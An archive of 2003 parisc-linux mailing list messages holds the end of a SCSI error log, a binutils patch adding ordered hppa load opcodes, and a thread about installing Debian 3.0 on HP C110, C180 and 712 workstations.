 failing command because of reset, slot 10360c58, cmnd 1034b000
 failing command because of reset, slot 10360d8c, cmnd 1034be00
 failing command because of reset, slot 10360ec0, cmnd 1034cc00
 failing command because of reset, slot 10360ff4, cmnd 1034ba00
 failing command because of reset, slot 10361128, cmnd 1034a000
 failing command because of reset, slot 1036125c, cmnd 1034b800
 failing command because of reset, slot 10361390, cmnd 1034c800
 failing command because of reset, slot 103614c4, cmnd 1034a200
 failing command because of reset, slot 103615f8, cmnd 1034b400
 failing command because of reset, slot 1036172c, cmnd 1034c600
scsi0 (6:0) broken device is looping in contingent allegiance: ignoring
scsi0 (6:0) New error handler wants to abort command
        0x2a 00 00 41 7b e7 00 00 08 00
scsi0 (6:0) New error handler wants to abort command
        0x28 00 00 6e 89 4f 00 00 08 00
scsi0 (6:0) New error handler wants to abort command
        0x2a 00 00 15 7e 1f 00 00 08 00
scsi0 (6:0) New error handler wants to abort command
        0x2a 00 00 3d 7c 4f 00 00 08 00
scsi0 (6:0) New error handler wants to abort command
        0x2a 00 00 0d 7c a7 00 00 08 00
scsi0 (6:0) New error handler wants to abort command
        0x2a 00 00 1d 7b cf 00 00 08 00
scsi0 (6:0) New error handler wants device reset
        0x2a 00 00 41 7b e7 00 00 08 00
scsi0 (6:0) New error handler wants BUS reset, cmd 1034a400
        0x2a 00 00 41 7b e7 00 00 08 00
scsi0: Bus Reset detected, executing command 00000000, slot 00000000, dsp
003604
a8[04a8]
 failing command because of reset, slot 10360ff4, cmnd 1034be00
 failing command because of reset, slot 10361128, cmnd 1034b000
 failing command because of reset, slot 1036125c, cmnd 1034ce00
 failing command because of reset, slot 10361390, cmnd 1034ca00
 failing command because of reset, slot 103614c4, cmnd 1034a400
 failing command because of reset, slot 103615f8, cmnd 1034bc00
SCSI disk error : host 0 channel 0 id 6 lun 0 return code = 8000002
Current sd08:13: sns = 70  0
Raw sense data:0x70 0x00 0x00 0x00 0x00 0x00 0x00 0x18 0x00 0x00 0x00 0x00
0x00
0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0xff 0xff 0xff 0xff
0x00
0x00 0x00 0x00
 I/O error: dev 08:13, sector 3145816

It's the phase mismatch stuff which is scaring me quite a bit ;-). It
could have been a defective sector which has been remapped (a disk scan
didn't show any problem) as a result of the a error, but then i would have
expected a simple IO error without that bus reset just before the problem.

Weird...

--jochen



From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] PATCH hppa ordered load absolute ops
Date: Fri, 31 Jan 2003 12:47:55 -0800
Organization: Hewlett-Packard
Lines: 34
Approved: news@gmane.org
Message-ID: <005401c2c96a$07f55470$6763f40f__35785.3201021955$1416622172$gmane$org@cup.hp.com>
References: <20030131191845.GA30799@dsl2.external.hp.com>
Reply-To: <jim.hull@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622172 20905 80.91.229.3 (22 Nov 2014 02:09:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:32 +0000 (UTC)
Cc: <bug-binutils@gnu.org>, <parisc-linux@lists.parisc-linux.org>
To: "'Grant Grundler'" <grundler@dsl2.external.hp.com>,
	"'John David Anglin'" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 13:47:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6BDC6482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 13:47:56 -0700 (MST)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel11.hp.com (Postfix) with ESMTP
	id F1CA51C01368; Fri, 31 Jan 2003 12:47:55 -0800 (PST)
Original-Received: from jh73313p (dhcp42uvi357.cup.hp.com [15.244.99.103])
	by lucy.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id MAA26293;
	Fri, 31 Jan 2003 12:47:55 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
In-Reply-To: <20030131191845.GA30799@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17576

I checked, and John's encodings are correct.

 -- Jim

> -----Original Message-----
> From: parisc-linux-admin@lists.parisc-linux.org 
> [mailto:parisc-linux-admin@lists.parisc-linux.org] On Behalf 
> Of Grant Grundler
> Sent: Friday, January 31, 2003 11:19 AM
> To: John David Anglin
> Cc: bug-binutils@gnu.org; parisc-linux@lists.parisc-linux.org
> Subject: Re: [parisc-linux] PATCH hppa ordered load absolute ops
> 
> 
> On Fri, Jan 31, 2003 at 11:11:26AM -0500, John David Anglin wrote:
> > > +{ "ldda",	0x0c003100, 0xfc1ff3d0, "cocc@(b),t", 
> pa20, FLAG_STRICT},
> > ?		0x0c001120, 0xfc1ff3e0
> > 
> > Shouldn't a=0, m=1 and im5=0?
> 
> yes - I thought I did that.
> I laid out the bits on paper and then converted to hex.
> I'll review tonight but trust you can get them right :^)
> 
> thanks,
> grant
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 



From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PATCH hppa ordered load absolute ops
Date: Fri, 31 Jan 2003 16:27:17 -0500 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <200301312127.h0VLRHdq021554__42982.5988751419$1416622172$gmane$org@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622172 20908 80.91.229.3 (22 Nov 2014 02:09:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:32 +0000 (UTC)
Cc: grundler@dsl2.external.hp.com, bug-binutils@gnu.org,
	parisc-linux@lists.parisc-linux.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 14:27:21 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE272482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 14:27:20 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0VLRIot021555;
	Fri, 31 Jan 2003 16:27:18 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0VLRHdq021554;
	Fri, 31 Jan 2003 16:27:17 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Jan 31, 2003 11:11:26 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17577

I installed the following after testing on hppa-unknown-linux-gnu.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)

2003-01-31  Grant Grundler  <grundler@dsl2.external.hp.com>

        * hppa.h (ldwa, ldda): Add ordered opcodes.

Index: opcode/hppa.h
===================================================================
RCS file: /cvs/src/src/include/opcode/hppa.h,v
retrieving revision 1.49
diff -u -3 -p -r1.49 hppa.h
--- opcode/hppa.h	16 Dec 2002 09:57:03 -0000	1.49
+++ opcode/hppa.h	31 Jan 2003 21:13:31 -0000
@@ -407,6 +407,7 @@ static const struct pa_opcode pa_opcodes
 { "ldbx",       0x0c000000, 0xfc001fc0, "cXx(b),t", pa10, 0},
 { "ldwa",       0x0c000180, 0xfc00d3c0, "cxccx(b),t", pa10, FLAG_STRICT},
 { "ldwa",	0x0c001180, 0xfc00d3c0, "cmcc5(b),t", pa10, FLAG_STRICT},
+{ "ldwa",	0x0c0011a0, 0xfc1ff3e0, "cocc@(b),t", pa20, FLAG_STRICT},
 { "ldcw",       0x0c0001c0, 0xfc0013c0, "cxcdx(s,b),t", pa10, FLAG_STRICT},
 { "ldcw",       0x0c0001c0, 0xfc0013c0, "cxcdx(b),t", pa10, FLAG_STRICT},
 { "ldcw",	0x0c0011c0, 0xfc0013c0, "cmcd5(s,b),t", pa10, FLAG_STRICT},
@@ -417,6 +418,7 @@ static const struct pa_opcode pa_opcodes
 { "stby",	0x0c001300, 0xfc0013c0, "cscCx,V(b)", pa10, FLAG_STRICT},
 { "ldda",       0x0c000100, 0xfc00d3c0, "cxccx(b),t", pa20, FLAG_STRICT},
 { "ldda",	0x0c001100, 0xfc00d3c0, "cmcc5(b),t", pa20, FLAG_STRICT},
+{ "ldda",	0x0c001120, 0xfc1ff3e0, "cocc@(b),t", pa20, FLAG_STRICT},
 { "ldcd",       0x0c000140, 0xfc0013c0, "cxcdx(s,b),t", pa20, FLAG_STRICT},
 { "ldcd",       0x0c000140, 0xfc0013c0, "cxcdx(b),t", pa20, FLAG_STRICT},
 { "ldcd",	0x0c001140, 0xfc0013c0, "cmcd5(s,b),t", pa20, FLAG_STRICT},


From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam Skaffloth" <adam.sk@groovy.ffloth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Fri, 31 Jan 2003 20:27:21 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <002d01c2c9aa$37400140$b601a8c0@pepp>
Reply-To: <adam.sk@groovy.ffloth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622172 20910 80.91.229.3 (22 Nov 2014 02:09:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:32 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 31 21:28:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pimout3-ext.prodigy.net (pimout3-ext.prodigy.net [207.115.63.102])
	by dsl2.external.hp.com (Postfix) with ESMTP id EA6C4482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 21:28:09 -0700 (MST)
Original-Received: from pepp (adsl-67-116-83-209.dsl.lsan03.pacbell.net [67.116.83.209])
	by pimout3-ext.prodigy.net (8.12.3 da nor stuldap/8.12.3) with SMTP id h114S5Ni083808
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Jan 2003 23:28:09 -0500
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17578

Hi !

I wonder if someone could give me a help in the right direction.
I have a C110, a C180 and 2 712/60.
C110 would boot fine until you get to the first menu, then the keyboard
would be out.
I have tried the previous tricks about disconnect/reconnect the keyboard,
but to no use.
The Visualize-EG in C180 seems not be working, seen threads about that,
so installed the Visualize-24 card from the C110 on the C180 and get the
same result.
Is this problem only related to the install or if I install using serial
console would it be a head-less machine = no use ?

I also read that their are no trouble with installing on 712/60.
I got 2, one with the second LAN/Serial Card (So I can use it as a FW).
Bot are starting but are hanging after the message:

The Installation Program is determining the current state
of your system and the next installation step that should
 be performed.

It hangs there forever on both boxes.

Anyone succeded with a install of Debian 3 on the above HW that could give
me a hand,
I am giving PA Risc a chance until I need to put the Sparc and the Intel
back into the plans.

/ Adam




From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 10:30:05 +0100
Organization: ESIEE
Lines: 30
Approved: news@gmane.org
Message-ID: <20030201103005.42be16f9.varenet@esiee.fr>
References: <002d01c2c9aa$37400140$b601a8c0@pepp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622173 20912 80.91.229.3 (22 Nov 2014 02:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: <adam.sk@groovy.ffloth.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 02:30:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.zigoo.net (e146.dhcp212-198-142.noos.fr [212.198.142.146])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1EBAE482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 02:30:55 -0700 (MST)
Original-Received: from Tatooine (varenet@Tatooine.r3z0 [192.168.69.3])
	by mail.zigoo.net (8.12.7/8.12.7) with SMTP id h119UOkC008160;
	Sat, 1 Feb 2003 10:30:25 +0100
In-Reply-To: <002d01c2c9aa$37400140$b601a8c0@pepp>
X-Mailer: Sylpheed version 0.7.4claws (GTK+ 1.2.10; powerpc-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17579

On Fri, 31 Jan 2003 20:27:21 -0800
"Adam Skaffloth" <adam.sk@groovy.ffloth.com> wrote:


> The Visualize-EG in C180 seems not be working, seen threads about that,
> so installed the Visualize-24 card from the C110 on the C180 and get the
> same result.
IIRC, Visualize-EG should be working with STIfb driver.

> I also read that their are no trouble with installing on 712/60.
> I got 2, one with the second LAN/Serial Card (So I can use it as a FW).
We have that conf as well, and installed it without any problem.
> Bot are starting but are hanging after the message:
> 
> The Installation Program is determining the current state
> of your system and the next installation step that should
>  be performed.
> 
> It hangs there forever on both boxes.
That's definitely not normal.
How much RAM does these boxes have ?
We noticed that bellow 32MB of RAM, the installer may 'Defunct' during the install process. In that case you would have to install the HD into another box, prepare it and install the software on it, and plug it back into the 712, see the PA-RISC/Linux Boot HOWTO for details (http://pateam.esiee.fr/doc.html)
 
HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/


From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and
 2 712/60, no luck.
Date: Sat, 01 Feb 2003 01:35:42 -0800
Lines: 56
Approved: news@gmane.org
Message-ID: <3E3B94EE.9010303@cisco.com>
References: <002d01c2c9aa$37400140$b601a8c0@pepp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622173 20915 80.91.229.3 (22 Nov 2014 02:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: adam.sk@groovy.ffloth.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 02:36:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.70.145.30])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C6EA482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 02:36:35 -0700 (MST)
Original-Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-msg-core-2.cisco.com (8.12.2/8.12.6) with ESMTP id h119Zasv024489;
	Sat, 1 Feb 2003 01:35:36 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.2.1-GA)
	with ESMTP id ABA54490;
	Sat, 1 Feb 2003 01:35:42 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17580

Hi Adam,

no kidding, I am/have been running it on a C110, C180 and 712.... ;-) 
Although the 712 is a /80 not a /60, and that was before the official 
woody release. But the C110 and C180 were both installed from the same 
release CD. No problems with either one, but the C180 does have a 
visualize in it, the build in EG is not supported.

Regarding the keyboard disconnect/reconnect - that would only be needed 
for HIL keyboards, AFAIK. I used whatever PS/2 keyboard and mouse I had 
sitting around and that worked.

	Christian



Adam Skaffloth wrote:
> Hi !
> 
> I wonder if someone could give me a help in the right direction.
> I have a C110, a C180 and 2 712/60.
> C110 would boot fine until you get to the first menu, then the keyboard
> would be out.
> I have tried the previous tricks about disconnect/reconnect the keyboard,
> but to no use.
> The Visualize-EG in C180 seems not be working, seen threads about that,
> so installed the Visualize-24 card from the C110 on the C180 and get the
> same result.
> Is this problem only related to the install or if I install using serial
> console would it be a head-less machine = no use ?
> 
> I also read that their are no trouble with installing on 712/60.
> I got 2, one with the second LAN/Serial Card (So I can use it as a FW).
> Bot are starting but are hanging after the message:
> 
> The Installation Program is determining the current state
> of your system and the next installation step that should
>  be performed.
> 
> It hangs there forever on both boxes.
> 
> Anyone succeded with a install of Debian 3 on the above HW that could give
> me a hand,
> I am giving PA Risc a chance until I need to put the Sparc and the Intel
> back into the plans.
> 
> / Adam
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux




From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Correction Re: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 01:50:12 -0800
Lines: 66
Approved: news@gmane.org
Message-ID: <20030201015012.0daca042.csuder@cisco.com>
References: <002d01c2c9aa$37400140$b601a8c0@pepp>
	<3E3B94EE.9010303@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622173 20918 80.91.229.3 (22 Nov 2014 02:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:33 +0000 (UTC)
Cc: adam.sk@groovy.ffloth.com, parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 02:50:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D26B482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Feb 2003 02:50:46 -0700 (MST)
Original-Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-msg-core-4.cisco.com (8.12.2/8.12.6) with ESMTP id h119oEap003012;
	Sat, 1 Feb 2003 01:50:14 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.2.1-GA)
	with SMTP id ABA54792;
	Sat, 1 Feb 2003 01:50:13 -0800 (PST)
In-Reply-To: <3E3B94EE.9010303@cisco.com>
X-Mailer: Sylpheed version 0.8.1claws3 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17581

Correction : the EG does show up as a fb device, and the correct spelling
would have been "built" in this case... ;-) 

	C. 


On Sat, 01 Feb 2003 01:35:42 -0800
Christian Suder <csuder@cisco.com> wrote:

> 
> Hi Adam,
> 
> no kidding, I am/have been running it on a C110, C180 and 712.... ;-) 
> Although the 712 is a /80 not a /60, and that was before the official 
> woody release. But the C110 and C180 were both installed from the same 
> release CD. No problems with either one, but the C180 does have a 
> visualize in it, the build in EG is not supported.
> 
> Regarding the keyboard disconnect/reconnect - that would only be needed 
> for HIL keyboards, AFAIK. I used whatever PS/2 keyboard and mouse I had 
> sitting around and that worked.
> 
> 	Christian
> 
> 
> 
> Adam Skaffloth wrote:
> > Hi !
> > 
> > I wonder if someone could give me a help in the right direction.
> > I have a C110, a C180 and 2 712/60.
> > C110 would boot fine until you get to the first menu, then the
> > keyboard would be out.
> > I have tried the previous tricks about disconnect/reconnect the
> > keyboard, but to no use.
> > The Visualize-EG in C180 seems not be working, seen threads about
> > that, so installed the Visualize-24 card from the C110 on the C180 and
> > get the same result.
> > Is this problem only related to the install or if I install using
> > serial console would it be a head-less machine = no use ?
> > 
> > I also read that their are no trouble with installing on 712/60.
> > I got 2, one with the second LAN/Serial Card (So I can use it as a
> > FW). Bot are starting but are hanging after the message:
> > 
> > The Installation Program is determining the current state
> > of your system and the next installation step that should
> >  be performed.
> > 
> > It hangs there forever on both boxes.
> > 
> > Anyone succeded with a install of Debian 3 on the above HW that could
> > give me a hand,
> > I am giving PA Risc a chance until I need to put the Sparc and the
> > Intel back into the plans.
> > 
> > / Adam
> > 
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 


From - Thu Nov 08 21:26:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Adam Skaffloth" <adam.sk@groovy.ffloth.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Tried to Install Debian 3r1 on C110, C180 and 2 712/60, no luck.
Date: Sat, 1 Feb 2003 10:26:57 -0800
Lines: 76
Approved: news@gmane.org
Message-ID: <003401c2ca1f$81ca9750$b601a8c0@pepp>
References: <20030201103005.42be16f9.varenet@esiee.fr>
Reply-To: <adam.sk@groovy.ffloth.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622173 20921 80.91.229.3 (22 Nov 2014 02:09:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:09:33 +0000 (UTC)
Cc: <parisc-linux@lists.parisc-linux.org>
To: "'Thibaut VARENE'" <varenet@esiee.fr>,
	"'Christian Suder'" <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Feb  1 11:27:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
